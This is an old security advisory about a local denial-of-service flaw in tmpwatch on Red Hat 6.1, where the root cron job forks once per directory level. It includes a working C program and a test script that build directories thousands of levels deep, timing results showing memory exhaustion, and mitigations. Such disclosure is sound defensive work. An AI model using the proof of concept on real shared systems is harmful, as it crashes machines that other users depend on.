COMMAND

    tmpwatch

SYSTEMS AFFECTED

    tmpwatch

PROBLEM

    Zenith Parsec found following.  Any user with write access to /tmp
    or /var/tmp can cause redhat 6.1 (and others runnng tmpwatch  from
    cron)  to  stop  responding,  and  possibly  requre a hard reboot.
    tmpwatch is a utility  for automatically removing files  that have
    not been accessed for a specifiable period.  This program runs  as
    root, an although there are numerous protections against it  being
    used to delete files it shouldn't, it does something very silly.

    It fork()s new copies of itself off.  1 new process per level
    deep it goes.

    or

    It goes down a level, and is  now on the 1st level.  It  fork()s a
    new copy of itself, which waits until its new process of itself...
    goes down a  level and fork()s  a new copy  of itself which  waits
    until its new process of  itself goes down a level...  and fork()s
    a new copy of itself, which waits until its new process of  itself
    goes  down  a  level...  and  fork()s  a new copy of itself, which
    waits .......  and  finds no more works,  so it pops back  the the
    previous copy of itself, and  each one in turn then  follows suit,
    and pops back  to the previous  copy of itself,  and pops back  to
    the previous copy  of itself, and  pops back to  the previous copy
    of  itself,  and  pops  back  the  final  return  result, which is
    returned from the 1st level, to the shell, as the exit() value.

    Not  too  bad  for  up  to  maybe  100 directory levels deep.  Now
    imagine that scaled up, say 60 times.

    Make a  directory 6000  deep in  /tmp.   At just  after 4.00am the
    system will die.

        # grep daily /etc/crontab
        02 4 * * * root run-parts /etc/cron.daily
        # cat /etc/cron.daily/tmpwatch
        /usr/sbin/tmpwatch 240 /tmp /var/tmp
        /usr/sbin/tmpwatch -f 240 /var/catman/{X11R6/cat?,cat?,local/cat?}
        # sleep --all-night
        sleep: unrecognized option `--all-night'
        # su zen-parse
        $ time xchat
        0.73user 0.09system 37:50:06.12elapsed 13%CPU (0avgtext+0avgdata 0maxresident)k
        0inputs+0outputs (51084major+137298minor)pagefaults 0swaps
        $
        
            Code:
        ---START---cut---:a.c (mode 644)
        //
        // make lots of directories.
        // ./a <#of-dirs>
        // ./a with no arguments to delete dirs.
        main(int argc,char *argv[])
        {
         int c=0,d=0;
         if (argc!=2)
         {
          while(!chdir("./A"))c++;
          chdir("..");
          printf("c=%d  removing\n",c);
          while(!rmdir("./A")) {chdir("..");c--;}
          if(c)printf("erm. bad thing.\n");
         }
         else
         {
          c=atoi(argv[1]);
          printf("c=%d  making.\n",c);
          while(c--)
          {
           mkdir("./A",0777);
           chdir("./A");
          }
         }
        }
        --END---cut-----:a.c
        
        # ./testscript
        
        (code follows)
        
        ---START---cut---:testscript (mode 755)
        #!/bin/sh
        # clear the previous stuff.
        ./a
        rm ./timer.results
        touch timer.results
        # create a 1 deep
        ./a 1 >>timer.results
        time tmpwatch 240 . 2>>timer.results
        # create a 100 deep
        ./a 100 >>timer.results
        time tmpwatch 240 . 2>>timer.results
        # create a 200 deep
        ./a 200 >>timer.results
        time tmpwatch 240 . 2>>timer.results
        # create a 300 deep
        ./a 300 >>timer.results
        time tmpwatch 240 . 2>>timer.results
        # create a 400 deep
        ./a 400 >>timer.results
        time tmpwatch 240 . 2>>timer.results
        # create a 500 deep
        ./a 500 >>timer.results
        time tmpwatch 240 . 2>>timer.results
        # create a 600 deep
        ./a 600 >>timer.results
        time tmpwatch 240 . 2>>timer.results
        #tidy up.
        ./a >>timer.results
        
        --END---cut-----:testscript

    If you  don't want  to test  it manually,  here you  will find the
    results on the tests on my  machine.  Who says you need  an Athlon
    with cable  or DSL.   This program  would probably  die faster and
    more spectacularly on a fast machine with a huge amount of  memory
    and swap space.   Save anything important.  And you have to run it
    as root.    The  crontab is  an effective  way of  getting it  run
    as root.  Which it wants to do anyway.  At about 4am everyday.

        --START---cut---:timer.results (mode 644)
        c=1  making.
        0.00user 0.01system 0:00.00elapsed 125%CPU (0avgtext+0avgdata 0maxresident)k
        0inputs+0outputs (96major+58minor)pagefaults 0swaps
        c=100  making.
        0.01user 0.19system 0:00.19elapsed 100%CPU (0avgtext+0avgdata 0maxresident)k
        0inputs+0outputs (96major+1797minor)pagefaults 0swaps
        c=200  making.
        0.07user 0.40system 0:00.49elapsed 94%CPU (0avgtext+0avgdata 0maxresident)k
        0inputs+0outputs (96major+3554minor)pagefaults 0swaps
        c=300  making.
        0.10user 0.66system 0:00.76elapsed 99%CPU (0avgtext+0avgdata 0maxresident)k
        0inputs+0outputs (96major+5308minor)pagefaults 0swaps
        c=400  making.
        0.13user 1.33system 0:11.80elapsed 12%CPU (0avgtext+0avgdata 0maxresident)k
        0inputs+0outputs (11766major+9445minor)pagefaults 1263swaps
        c=500  making.
        0.15user 2.11system 0:22.38elapsed 10%CPU (0avgtext+0avgdata 0maxresident)k
        0inputs+0outputs (14104major+13238minor)pagefaults 2699swaps
        c=600  making.
        0.21user 2.81system 0:32.61elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k
        0inputs+0outputs (26066major+17781minor)pagefaults 4109swaps
        c=600  removing
        c=600  making.
        0.11user 2.88system 0:36.14elapsed 8%CPU (0avgtext+0avgdata 0maxresident)k
        0inputs+0outputs (25741major+17567minor)pagefaults 4009swaps
        c=700  making.
        0.20user 4.24system 0:45.95elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k
        0inputs+0outputs (35562major+22180minor)pagefaults 5542swaps
        c=800  making.
        Command terminated by signal 2
        0.00user 0.00system 6:01.87elapsed 0%CPU (0avgtext+0avgdata 0maxresident)k
        0inputs+0outputs (102major+18minor)pagefaults 10swaps
        --END---cut-----:timer.results

    System is Cyrix-6x86 @ 187 MHz, 32M physical ram, 64M swap.

    ^C was pressed after about a minute into the 800 deep one. Several
    system programs died due to memory starvation.  It took a quite  a
    while afterwards before the  console regained any usabilty.   When
    Zenith tried to run  startx, it refused to  start.  xfs had  died.
    everything looked odd.  Slow motion. i

        # uptime
          9:00pm  up  2:14,  2 users,  load average: 202.28, 363.68, 186.46

    That was a couple of minutes after running the test script.

SOLUTION

    First thing that comes to mind is:

        # chmod 400 /etc/cron.daily/tmpwatch
        # chmod 400 /usr/sbin/tmpwatch

    Generally,  you  can  set  quota  limit  for  inode-softlimit  and
    inode-hardlimit (you should set  it for /tmp filesystem,  when you
    have users on your machine).  For example:

        inodes in use: 1, limits (soft =512 , hard = 1024)

    Then user can not create  more than 1024 files or  directories, Of
    course you can set more restrictive limits.

    The is one of the kinds of vulnerabilities that stmpclean has been
    designed to avoid.

        ftp://ftp.mccme.ru/users/shalunov/stmpclean-0.1.tar.gz